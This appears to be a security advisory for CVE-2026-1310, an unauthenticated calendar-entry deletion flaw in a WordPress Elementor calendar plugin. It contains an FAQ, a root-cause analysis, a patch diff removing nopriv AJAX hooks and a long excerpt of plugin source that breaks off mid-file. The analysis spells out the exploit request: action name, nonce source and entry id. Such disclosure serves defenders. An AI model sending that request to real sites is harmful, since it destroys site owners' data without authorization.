What is CVE-2026-1310?

CVE-2026-1310 is a security vulnerability in the Simple Calendar for Elementor plugin for WordPress, affecting versions up to and including 1.6.6. It is classified as a Missing Authorization flaw that allows unauthenticated users to delete arbitrary calendar entries.

How does the vulnerability work?

The vulnerability arises from the lack of capability checks in the `miga_ajax_editor_cal_delete` function, which is accessible via an AJAX action for both authenticated and unauthenticated users. An attacker can send a request with a valid nonce and the ID of a calendar entry to delete it.

Who is affected by this vulnerability?

Any WordPress site using the Simple Calendar for Elementor plugin version 1.6.6 or earlier is affected. Administrators should check their plugin version and update if necessary.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the installed version of the Simple Calendar for Elementor plugin in the WordPress admin dashboard under ‘Plugins’. If it is version 1.6.6 or earlier, your site is at risk.

How can I fix this vulnerability?

The vulnerability is fixed in version 1.6.7 of the plugin. Administrators should update to this version or later to mitigate the risk of exploitation.

What does the CVSS score of 5.3 mean?

The CVSS score of 5.3 indicates a medium severity level for this vulnerability. This means that while it is not the highest risk, it can still lead to significant data loss or disruption if exploited.

What are the practical risks of this vulnerability?

Exploitation of this vulnerability could allow an attacker to delete calendar entries, disrupting business operations that rely on accurate calendar displays. While it does not lead to privilege escalation, the data loss can have operational consequences.

What is the proof of concept for this vulnerability?

The proof of concept is a PHP script that demonstrates how an attacker can exploit the vulnerability by sending a POST request to delete a calendar entry. It requires a valid nonce and the ID of the entry to be deleted.

How can I protect my site from similar vulnerabilities?

To protect against similar vulnerabilities, ensure that all plugins and themes are kept up to date, regularly audit your site’s security, and implement access controls to restrict unauthorized actions.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Simple Calendar for Elementor plugin until it can be updated to prevent potential exploitation.

Are there any other vulnerabilities in this plugin?

While this specific vulnerability is the focus, it is advisable to review the plugin’s security history and changelog for any other reported issues. Regularly monitoring for updates and security advisories is essential.

Where can I find more information about this vulnerability?

More information about CVE-2026-1310 can be found on the National Vulnerability Database (NVD) and security advisories from reputable sources. Additionally, the plugin’s official repository may provide updates and security notices.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1310: Simple calendar for Elementor <= 1.6.6 – Missing Authorization to Unauthenticated Arbitrary Calendar Entry Deletion (simple-calendar-for-elementor)

CVE ID CVE-2026-1310

Plugin simple-calendar-for-elementor

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.6.6

Patched Version 1.6.7

Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1310:
This vulnerability is a Missing Authorization flaw in the Simple calendar for Elementor WordPress plugin, affecting all versions up to and including 1.6.6. The vulnerability allows unauthenticated attackers to delete arbitrary calendar entries. The CVSS score of 5.3 reflects a moderate severity impact on data integrity.

The root cause is the plugin’s registration of the `miga_editor_cal_delete` AJAX action for both authenticated and unauthenticated users via the `wp_ajax_nopriv_` hook. In the vulnerable version 1.6.6, lines 112-115 of `/simple-calendar-for-elementor/miga_simple_calendar.php` show the `miga_editor_cal_delete` action being registered with both `wp_ajax_` and `wp_ajax_nopriv_` prefixes. The handler function `miga_ajax_editor_cal_delete` lacks any capability or authorization checks, allowing any user to trigger calendar entry deletion.

Exploitation requires an attacker to send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `miga_editor_cal_delete`. The request must include a valid nonce (obtainable from public pages where the calendar is embedded) and the `id` parameter specifying the target calendar entry. The nonce requirement is not a security barrier since nonces are publicly accessible via JavaScript localization scripts.

The patch in version 1.6.7 removes the `wp_ajax_nopriv_miga_editor_cal_delete` hook registration on line 115 of the main plugin file. This change restricts the delete functionality to authenticated WordPress users only. The patch also removes similar `nopriv` hooks for `miga_editor_cal` and `miga_editor_cal_update` actions, addressing the same vulnerability pattern across multiple editor functions.

Successful exploitation enables complete deletion of calendar entries from the plugin’s database tables. Attackers can disrupt calendar functionality, remove availability information, or sabotage business operations relying on the calendar display. The vulnerability does not provide direct privilege escalation or remote code execution, but data destruction can cause significant operational impact.

Differential between vulnerable and patched code

Code Diff

--- a/simple-calendar-for-elementor/miga_simple_calendar.php
+++ b/simple-calendar-for-elementor/miga_simple_calendar.php
@@ -10,7 +10,7 @@
  * @wordpress-plugin
  * Plugin Name:       Simple calendar for Elementor
  * Description:       Simple calendar plugin for Elementor to show e.g. availability on different days.
- * Version:           1.6.6
+ * Version:           1.6.7
  * Requires at least: 5.2
  * Requires PHP:      7.2
  * Author:            Michael Gangolf
@@ -112,11 +112,8 @@
 add_action("wp_ajax_miga_custom_post_filter_cal", "miga_ajax_functions_cal");
 add_action("wp_ajax_nopriv_miga_custom_post_filter_cal", "miga_ajax_functions_cal");
 add_action("wp_ajax_miga_editor_cal", "miga_ajax_editor_cal");
-add_action("wp_ajax_nopriv_miga_editor_cal", "miga_ajax_editor_cal");
 add_action("wp_ajax_miga_editor_cal_delete", "miga_ajax_editor_cal_delete");
-add_action("wp_ajax_nopriv_miga_editor_cal_delete","miga_ajax_editor_cal_delete");
 add_action("wp_ajax_miga_editor_cal_update", "miga_ajax_editor_cal_update");
-add_action("wp_ajax_nopriv_miga_editor_cal_update","miga_ajax_editor_cal_update");
 add_shortcode('simple-calendar-for-elementor', 'simple_calendar_for_elementor_shortcode');


--- a/simple-calendar-for-elementor/trunk/miga_simple_calendar.php
+++ b/simple-calendar-for-elementor/trunk/miga_simple_calendar.php
@@ -0,0 +1,229 @@
+<?php
+/**
+ * Plugin Name
+ *
+ * @package           PluginPackage
+ * @author            Michael Gangolf
+ * @copyright         2022 Michael Gangolf
+ * @license           GPL-2.0-or-later
+ *
+ * @wordpress-plugin
+ * Plugin Name:       Simple calendar for Elementor
+ * Description:       Simple calendar plugin for Elementor to show e.g. availability on different days.
+ * Version:           1.6.7
+ * Requires at least: 5.2
+ * Requires PHP:      7.2
+ * Author:            Michael Gangolf
+ * Author URI:        https://www.migaweb.de/
+ * License:           GPL v2 or later
+ * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain:       simple-calendar-for-elementor
+ * Domain Path:       /languages
+ */
+
+global $wpdb;
+defined("TABLE_NAME_MIGA_CAL_EVENTS") or
+  define("TABLE_NAME_MIGA_CAL_EVENTS", $wpdb->prefix . "miga_calendar_events");
+
+defined("TABLE_NAME_MIGA_CAL_CALENDAR") or
+  define("TABLE_NAME_MIGA_CAL_CALENDAR", $wpdb->prefix . "miga_calendar_calendar");
+
+defined("TABLE_NAME_MIGA_CAL_STATUS") or
+  define("TABLE_NAME_MIGA_CAL_STATUS", $wpdb->prefix . "miga_calendar_status");
+
+use ElementorPlugin;
+
+add_action("init", static function () {
+    if (!did_action("elementor/loaded")) {
+        return false;
+    }
+    require_once __DIR__ . "/widget/includes/month.php";
+    require_once __DIR__ . "/widget/includes/backend_functions.php";
+    require_once __DIR__ . "/widget/elementor_calendar.php";
+    require_once __DIR__ . "/widget/elementor_calendar_legend.php";
+    ElementorPlugin::instance()->widgets_manager->register_widget_type(
+        new MIGA_Simple_Calendar()
+    );
+    ElementorPlugin::instance()->widgets_manager->register_widget_type(
+        new MIGA_Simple_Calendar_Legend()
+    );
+
+    load_plugin_textdomain('simple-calendar-for-elementor', false, dirname(plugin_basename(__FILE__)) . '/languages');
+});
+
+function miga_calendar_events()
+{
+    global $wpdb;
+    $table_name = TABLE_NAME_MIGA_CAL_EVENTS;
+    if ($wpdb->get_var("show tables like '$table_name'") != $table_name) {
+        $charset_collate = $wpdb->get_charset_collate();
+        $sql = "CREATE TABLE $table_name (id INT NOT NULL AUTO_INCREMENT , date DATE NOT NULL , title VARCHAR(255) NULL DEFAULT NULL, status INT NULL DEFAULT NULL, calendar INT NULL DEFAULT NULL , PRIMARY KEY (`id`)) $charset_collate;";
+        require_once ABSPATH . "wp-admin/includes/upgrade.php";
+        dbDelta($sql);
+    }
+}
+
+function miga_calendar_calendar()
+{
+    global $wpdb;
+    $table_name = TABLE_NAME_MIGA_CAL_CALENDAR;
+    if ($wpdb->get_var("show tables like '$table_name'") != $table_name) {
+        $charset_collate = $wpdb->get_charset_collate();
+        $sql = "CREATE TABLE $table_name (id INT NOT NULL AUTO_INCREMENT ,  title VARCHAR(255) NULL DEFAULT NULL, PRIMARY KEY (`id`)) $charset_collate;";
+        require_once ABSPATH . "wp-admin/includes/upgrade.php";
+        dbDelta($sql);
+
+        $wpdb->insert(
+            $table_name,
+            array(
+              "title" => "default",
+            )
+        );
+    }
+}
+
+function miga_calendar_status()
+{
+    global $wpdb;
+    $table_name = TABLE_NAME_MIGA_CAL_STATUS;
+    if ($wpdb->get_var("show tables like '$table_name'") != $table_name) {
+        $charset_collate = $wpdb->get_charset_collate();
+        $sql = "CREATE TABLE $table_name (id INT NOT NULL AUTO_INCREMENT , status VARCHAR(255) NULL DEFAULT NULL, class VARCHAR(255) NULL DEFAULT NULL, visible BOOLEAN NOT NULL DEFAULT TRUE, fixed BOOLEAN NOT NULL DEFAULT FALSE, PRIMARY KEY (`id`)) $charset_collate;";
+        require_once ABSPATH . "wp-admin/includes/upgrade.php";
+        dbDelta($sql);
+
+        $wpdb->insert($table_name, [
+            "status" => "blocked",
+            "class" => "blocked",
+            "fixed" => 1
+        ]);
+        $wpdb->insert($table_name, [
+            "status" => "half blocked",
+            "class" => "half_blocked",
+            "fixed" => 1
+        ]);
+    }
+}
+
+register_activation_hook(__FILE__, "miga_calendar_events");
+register_activation_hook(__FILE__, "miga_calendar_calendar");
+register_activation_hook(__FILE__, "miga_calendar_status");
+
+add_action("wp_ajax_miga_custom_post_filter_cal", "miga_ajax_functions_cal");
+add_action("wp_ajax_nopriv_miga_custom_post_filter_cal", "miga_ajax_functions_cal");
+add_action("wp_ajax_miga_editor_cal", "miga_ajax_editor_cal");
+add_action("wp_ajax_miga_editor_cal_delete", "miga_ajax_editor_cal_delete");
+add_action("wp_ajax_miga_editor_cal_update", "miga_ajax_editor_cal_update");
+add_shortcode('simple-calendar-for-elementor', 'simple_calendar_for_elementor_shortcode');
+
+
+function simple_calendar_for_elementor_shortcode($atts, $content, $tag)
+{
+    $calendar = "";
+    if (isset($atts["calendar"])) {
+        $calendar = (int)$atts["calendar"];
+    }
+    $showButton = false;
+    wp_register_style("miga_calendar_styles", plugins_url("/styles/main.css", __FILE__));
+    wp_enqueue_style("miga_calendar_styles");
+
+    echo '<div class="miga_calendar" data-calendar="'.$calendar.'" data-year="'.date("Y").'" data-month="'.date("m").'">';
+    echo '<div class="miga_calendar_box">';
+    miga_ajax_functions_cal($calendar, [
+      "showButton" => $showButton,
+      "fixedMonth" => false,
+      "selectedMonth" => -1,
+      "selectedYear" => -1
+    ]);
+    echo '<div class="loading_spinner"></div>';
+    echo '</div>';
+    echo '</div>';
+}
+
+add_action('wp_enqueue_scripts', 'miga_calendar_enqueue_scripts');
+function miga_calendar_enqueue_scripts()
+{
+    wp_register_script("miga_calendar_script", plugin_dir_url(__FILE__) . "./scripts/main.js", [], "1.0.1", true);
+
+    wp_localize_script("miga_calendar_script", "miga_calendar", [
+        "miga_nonce" => wp_create_nonce("miga_nonce"),
+        "wp_url" => admin_url("admin-ajax.php"),
+    ]);
+    wp_enqueue_script('miga_calendar_script');
+}
+
+function miga_calendar_add_page()
+{
+    add_submenu_page(
+        "options-general.php",
+        __("Simple Calendar", "simple-calendar-for-elementor"),
+        __("Simple Calendar", "simple-calendar-for-elementor"),
+        "manage_options",
+        "miga_calendar-page",
+        "miga_calendar_page",
+        100
+    );
+}
+
+function miga_calendar_register_settings()
+{
+    add_option("miga_calendar_days", "");
+    add_option("eMonth", "");
+    add_option("eYear", "");
+    register_setting("miga_calendar_days_option_group", "miga_calendar_days");
+    register_setting("miga_calendar_days_option_group", "eMonth");
+    register_setting("miga_calendar_days_option_group", "eYear");
+}
+
+function miga_calendar_page()
+{
+    $default_tab = null;
+    $tab = isset($_GET["tab"]) ? sanitize_key($_GET["tab"]) : sanitize_key($default_tab);
+    ?>
+<h1>Simple calendar</h1>
+
+  <nav class="nav-tab-wrapper">
+      <a href="?page=miga_calendar-page" class="nav-tab <?php if (
+          $tab === null || $tab == ""
+      ): ?>nav-tab-active<?php endif; ?>"><?php echo __("Calendars", "simple-calendar-for-elementor"); ?></a>
+      <a href="?page=miga_calendar-page&tab=events" class="nav-tab <?php if (
+          $tab === "events"
+      ): ?>nav-tab-active<?php endif; ?>"><?php echo __("Events", "simple-calendar-for-elementor"); ?></a>
+      <a href="?page=miga_calendar-page&tab=classes" class="nav-tab <?php if (
+          $tab === "classes"
+      ): ?>nav-tab-active<?php endif; ?>"><?php echo __("Status/Classes", "simple-calendar-for-elementor"); ?></a>
+    </nav>
+  <div id="miga_calendar_backend">
+    <?php switch ($tab):
+        case "events":
+            require "widget/includes/backend_events.php";
+            break;
+        case "classes":
+            require "widget/includes/backend_status.php";
+            break;
+        default:
+            require "widget/includes/backend_calendars.php";
+            break;
+    endswitch; ?>
+  </div>
+<?php
+}
+
+function miga_calendar_enqueue()
+{
+    wp_register_style("miga_calendar_styles2", plugins_url("styles/main.css", __FILE__));
+    wp_enqueue_style("miga_calendar_styles2");
+    wp_register_style("miga_calendar_styles", plugins_url("styles/editor.css", __FILE__));
+    wp_enqueue_style("miga_calendar_styles");
+    wp_register_script("miga_calendar_editor_script", plugins_url("scripts/editor.js", __FILE__), ["wp-i18n"], "", true);
+    wp_enqueue_script("miga_calendar_editor_script");
+
+    wp_localize_script("miga_calendar_editor_script", "miga_calendar", [
+        "miga_nonce" => wp_create_nonce("miga_nonce"),
+        "wp_url" => admin_url("admin-ajax.php"),
+    ]);
+}
+
+add_action("admin_enqueue_scripts", "miga_calendar_enqueue");
+add_action("admin_menu", "miga_calendar_add_page", 999);
+add_action("admin_init", "miga_calendar_register_settings");
--- a/simple-calendar-for-elementor/trunk/widget/elementor_calendar.php
+++ b/simple-calendar-for-elementor/trunk/widget/elementor_calendar.php
@@ -0,0 +1,693 @@
+<?php
+
+class MIGA_Simple_Calendar extends ElementorWidget_Base
+{
+    public function __construct($data = [], $args = null)
+    {
+        parent::__construct($data, $args);
+        wp_register_script(
+            "miga_calendar_script",
+            plugin_dir_url(__FILE__) . "../scripts/main.js",
+            [],
+            "1.0.0",
+            true
+        );
+
+        wp_localize_script("miga_calendar_script", "miga_calendar", [
+            "miga_nonce" => wp_create_nonce("miga_nonce"),
+            "wp_url" => admin_url("admin-ajax.php"),
+        ]);
+    }
+
+    public function get_script_depends()
+    {
+        return ["miga_calendar_script"];
+    }
+
+    public function get_name()
+    {
+        return "simple-calendar-for-elementor";
+    }
+
+    public function get_title()
+    {
+        return __("Simple Calendar", "simple-calendar-for-elementor");
+    }
+
+    public function get_icon()
+    {
+        return "eicon-calendar";
+    }
+
+    public function get_categories()
+    {
+        return ["general"];
+    }
+
+    protected function register_controls()
+    {
+        $this->start_controls_section("content_section", [
+            "label" => __("Content", "simple-calendar-for-elementor"),
+            "tab" => ElementorControls_Manager::TAB_CONTENT,
+        ]);
+
+        global $wpdb;
+        $table_name_cal = TABLE_NAME_MIGA_CAL_CALENDAR;
+        $results = $wpdb->get_results(("SELECT * FROM $table_name_cal"));
+        $cal = [];
+        $default = "";
+        if (!empty($results)) {
+            foreach ($results as $row) {
+                $cal[$row->id] = esc_attr($row->title);
+                if (empty($default)) {
+                    $default = (int) $row->id;
+                }
+            }
+        }
+
+        $this->add_control("calendar", [
+            "label" => __("Calendar", "simple-calendar-for-elementor"),
+            "type" => ElementorControls_Manager::SELECT,
+            "options" => $cal,
+            "default" => $default,
+        ]);
+
+        $this->add_control("layout", [
+            "label" => __("Layout", "simple-calendar-for-elementor"),
+            "type" => ElementorControls_Manager::SELECT,
+            "options" => [
+                "" => "Default",
+                "miga_calendar_full" => __("Full width", "simple-calendar-for-elementor"),
+            ],
+            "default" => "",
+        ]);
+
+        $this->add_control("squared_days", [
+            "label" => __("Squared days", "simple-calendar-for-elementor"),
+            "type" => ElementorControls_Manager::SWITCHER,
+            "label_on" => __("yes", "simple-calendar-for-elementor"),
+            "label_off" => __("no", "simple-calendar-for-elementor"),
+            "return_value" => "yes",
+            "default" => "no",
+            'condition' => [
+                'layout' => "",
+            ],
+        ]);
+
+        $this->add_control("show_legend", [
+            "label" => __("Show legend", "simple-calendar-for-elementor"),
+            "type" => ElementorControls_Manager::SWITCHER,
+            "label_on" => __("Show", "simple-calendar-for-elementor"),
+            "label_off" => __("Hide", "simple-calendar-for-elementor"),
+            "return_value" => "yes",
+            "default" => "no",
+        ]);
+
+        $this->add_control("show_today", [
+            "label" => __("Show today button", "simple-calendar-for-elementor"),
+            "type" => ElementorControls_Manager::SWITCHER,
+            "label_on" => __("Show", "simple-calendar-for-elementor"),
+            "label_off" => __("Hide", "simple-calendar-for-elementor"),
+            "return_value" => "yes",
+            "default" => "yes",
+        ]);
+
+        $this->add_control("legend_position", [
+            "label" => __("Legend position", "simple-calendar-for-elementor"),
+            "type" => ElementorControls_Manager::SELECT,
+            "options" => [
+                "" => __("Side", "simple-calendar-for-elementor"),
+                "legend_below" => __("Below", "simple-calendar-for-elementor"),
+            ],
+            'condition' => [
+                'show_legend' => "yes",
+            ],
+            "default" => "",
+        ]);
+
+
+        $this->add_responsive_control(
+            'day_height',
+            [
+                'label' => esc_html__('Day height', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::SLIDER,
+                'size_units' => [ 'px' ],
+                'range' => [
+                    'px' => [
+                        'min' => 0,
+                        'max' => 200,
+                        'step' => 1,
+                    ]
+                ],
+                'default' => [
+                    'unit' => 'px',
+                    'size' => 50,
+                ],
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day' => 'height: {{SIZE}}{{UNIT}};',
+                ],
+            ]
+        );
+        $this->add_responsive_control(
+            'day_width',
+            [
+                'label' => esc_html__('Day width', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::SLIDER,
+                'size_units' => [ 'px' ],
+                'range' => [
+                    'px' => [
+                        'min' => 0,
+                        'max' => 200,
+                        'step' => 1,
+                    ]
+                ],
+                'default' => [
+                    'unit' => 'px',
+                    'size' => 50,
+                ],
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day, {{WRAPPER}} .calendar__day_name' => 'width: {{SIZE}}{{UNIT}};',
+                ],
+                'condition' => [
+                    'layout' => "",
+                ],
+            ]
+        );
+
+        $this->add_responsive_control(
+            'day_gap',
+            [
+                'label' => esc_html__('Day gap', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::SLIDER,
+                'size_units' => [ 'px' ],
+                'range' => [
+                    'px' => [
+                        'min' => 0,
+                        'max' => 100,
+                        'step' => 1,
+                    ]
+                ],
+                'default' => [
+                    'unit' => 'px',
+                    'size' => 2,
+                ],
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day' => 'margin: {{SIZE}}{{UNIT}};',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'show_title',
+            [
+                        'label' => esc_html__('Show event titles when hovering a day', 'simple-calendar-for-elementor'),
+                        'type' => ElementorControls_Manager::SWITCHER,
+                        'label_on' => esc_html__('Show', 'simple-calendar-for-elementor'),
+                        'label_off' => esc_html__('Hide', 'simple-calendar-for-elementor'),
+                        'return_value' => 'yes',
+                        'default' => 'yes',
+                    ]
+        );
+        $this->add_control(
+            'fixed_month',
+            [
+                        'label' => esc_html__('Show a fixed month', 'simple-calendar-for-elementor'),
+                        'type' => ElementorControls_Manager::SWITCHER,
+                        'label_on' => esc_html__('Show', 'simple-calendar-for-elementor'),
+                        'label_off' => esc_html__('Hide', 'simple-calendar-for-elementor'),
+                        'return_value' => 'yes',
+                        'default' => 'no',
+                    ]
+        );
+
+        $this->add_control(
+            'selected_month',
+            [
+                'label' => esc_html__('Month', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::SELECT,
+                'description' =>esc_html__('Changes might only be visible in the frontend', 'simple-calendar-for-elementor'),
+                'default' => '1',
+                'options' => [
+                    '1' => esc_html__('Januar', 'simple-calendar-for-elementor'),
+                    '2'  => esc_html__('February', 'simple-calendar-for-elementor'),
+                    '3' => esc_html__('March', 'simple-calendar-for-elementor'),
+                    '4' => esc_html__('April', 'simple-calendar-for-elementor'),
+                    '5' => esc_html__('May', 'simple-calendar-for-elementor'),
+                    '6' => esc_html__('June', 'simple-calendar-for-elementor'),
+                    '7' => esc_html__('July', 'simple-calendar-for-elementor'),
+                    '8' => esc_html__('August', 'simple-calendar-for-elementor'),
+                    '9' => esc_html__('September', 'simple-calendar-for-elementor'),
+                    '10' => esc_html__('October', 'simple-calendar-for-elementor'),
+                    '11' => esc_html__('November', 'simple-calendar-for-elementor'),
+                    '12' => esc_html__('December', 'simple-calendar-for-elementor'),
+                ],
+                'selectors' => [
+                    '{{WRAPPER}} .your-class' => 'border-style: {{VALUE}};',
+                ],
+                'condition' => ['fixed_month' => 'yes'],
+            ]
+        );
+        $this->add_control(
+            'selected_year',
+            [
+                'label' => esc_html__('Year', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::TEXT,
+                'default' => date('Y'),
+                'placeholder' => esc_html__('2023', 'simple-calendar-for-elementor'),
+                'condition' => ['fixed_month' => 'yes'],
+            ]
+        );
+
+        $this->end_controls_section();
+
+
+        $this->start_controls_section(
+            'section_style_default',
+            [
+              'label' => esc_html__('Default styles', 'simple-calendar-for-elementor'),
+              "tab" => ElementorControls_Manager::TAB_STYLE,
+            ]
+        );
+
+        $this->add_control(
+            'color_lines',
+            [
+                'label' => esc_html__('Top/bottom line', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__dates' => 'border-top-color: {{VALUE}}; border-bottom-color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'color_bg',
+            [
+                'label' => esc_html__('Background color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .miga_calendar_box' => 'background-color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'color_bg_header',
+            [
+                'label' => esc_html__('Header background color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__header' => 'background-color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->add_control(
+            'color_header',
+            [
+                'label' => esc_html__('Header text color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__header, {{WRAPPER}} .calendar__next, {{WRAPPER}} .calendar__prev' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->add_control(
+            'color_header_hover',
+            [
+                'label' => esc_html__('Header text color (hover)', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    ' {{WRAPPER}} .calendar__next:hover, {{WRAPPER}} .calendar__prev:hover' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_group_control(
+            ElementorGroup_Control_Border::get_type(),
+            [
+                'name' => 'border_cal',
+                // 'label' => esc_html__('Border', 'simple-calendar-for-elementor'),
+                'selector' => '{{WRAPPER}} .calendar',
+            ]
+        );
+
+
+        $this->add_group_control(
+            ElementorGroup_Control_Typography::get_type(),
+            [
+                'name' => 'content_typography',
+                'selector' => '{{WRAPPER}} .calendar',
+            ]
+        );
+
+        $this->end_controls_section();
+        $this->start_controls_section(
+            'section_style_weekday',
+            [
+              'label' => esc_html__('Weekdays', 'simple-calendar-for-elementor'),
+              "tab" => ElementorControls_Manager::TAB_STYLE,
+            ]
+        );
+        $this->add_group_control(
+            ElementorGroup_Control_Typography::get_type(),
+            [
+                'name' => 'content_typography_weekday',
+                'selector' => '{{WRAPPER}} .calendar__week .calendar__day_name',
+            ]
+        );
+        $this->add_control(
+            'color_bg_header_days',
+            [
+                'label' => esc_html__('Days background color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day_name' => 'background-color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->add_control(
+            'color_header_days',
+            [
+                'label' => esc_html__('Days text color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day_name' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->end_controls_section();
+
+        $this->start_controls_section(
+            'section_style_buttons',
+            [
+              'label' => esc_html__('Prev/Next styles', 'simple-calendar-for-elementor'),
+              "tab" => ElementorControls_Manager::TAB_STYLE,
+            ]
+        );
+
+        $this->add_control(
+            'color_arrows',
+            [
+                'label' => esc_html__('Arrow color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__next svg, {{WRAPPER}} .calendar__prev svg' => 'fill: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_group_control(
+            ElementorGroup_Control_Border::get_type(),
+            [
+                'name' => 'border_next_prev',
+                // 'label' => esc_html__('Border prev/next', 'simple-calendar-for-elementor'),
+                'selector' => '{{WRAPPER}} .calendar__next, {{WRAPPER}} .calendar__prev',
+            ]
+        );
+
+        $this->add_control(
+            'color_bg_arrow',
+            [
+                'label' => esc_html__('Background color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__next, {{WRAPPER}} .calendar__prev' => 'background-color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->end_controls_section();
+
+        $this->start_controls_section(
+            'section_style_today_day',
+            [
+              'label' => esc_html__('Today day styles', 'simple-calendar-for-elementor'),
+              "tab" => ElementorControls_Manager::TAB_STYLE,
+            ]
+        );
+
+        $this->add_control(
+            'color_today_day',
+            [
+                'label' => esc_html__('Text color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day--today' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'color_bg_today_day',
+            [
+                'label' => esc_html__('Background color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day--today' => 'background-color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->add_group_control(
+            ElementorGroup_Control_Border::get_type(),
+            [
+                'name' => 'color_border_today_day',
+                'selector' => '{{WRAPPER}} .calendar__day--today',
+            ]
+        );
+
+        $this->end_controls_section();
+
+
+        $this->start_controls_section(
+            'section_style_today',
+            [
+              'label' => esc_html__('Today button styles', 'simple-calendar-for-elementor'),
+              "tab" => ElementorControls_Manager::TAB_STYLE,
+            ]
+        );
+        $this->add_group_control(
+            ElementorGroup_Control_Border::get_type(),
+            [
+                'name' => 'border_today',
+                // 'label' => esc_html__('Border today', 'simple-calendar-for-elementor'),
+                'selector' => '{{WRAPPER}} .calendar__today',
+            ]
+        );
+
+        $this->add_control(
+            'color_bg_footer',
+            [
+                'label' => esc_html__('Today background color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__today' => 'background-color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->add_control(
+            'color_bg_footer_hover',
+            [
+                'label' => esc_html__('Today background color (hover)', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__today:hover' => 'background-color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'color_today_font',
+            [
+                'label' => esc_html__('Today color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__today' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'color_today_font_hover',
+            [
+                'label' => esc_html__('Today color (hover)', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__today:hover' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->end_controls_section();
+
+        $this->start_controls_section(
+            'section_days',
+            [
+              'label' => esc_html__('Default days', 'simple-calendar-for-elementor'),
+              "tab" => ElementorControls_Manager::TAB_STYLE,
+            ]
+        );
+
+        $this->add_control(
+            'font_color',
+            [
+                'label' => esc_html__('Day font color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'bg_color_default',
+            [
+                'label' => esc_html__('Background color day', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    'html .miga_calendar' => '--miga-cal-default-day-color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->add_control(
+            'bg_color_empty',
+            [
+                'label' => esc_html__('Background color empty day', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    'html .miga_calendar' => '--miga-cal-empty-day-color: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->end_controls_section();
+
+        $this->start_controls_section(
+            'section_days_selection',
+            [
+                'label' => esc_html__('Days with status', 'simple-calendar-for-elementor'),
+                "tab" => ElementorControls_Manager::TAB_STYLE,
+            ]
+        );
+
+        $this->add_control(
+            'bg_color',
+            [
+                'label' => esc_html__('Background Color', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
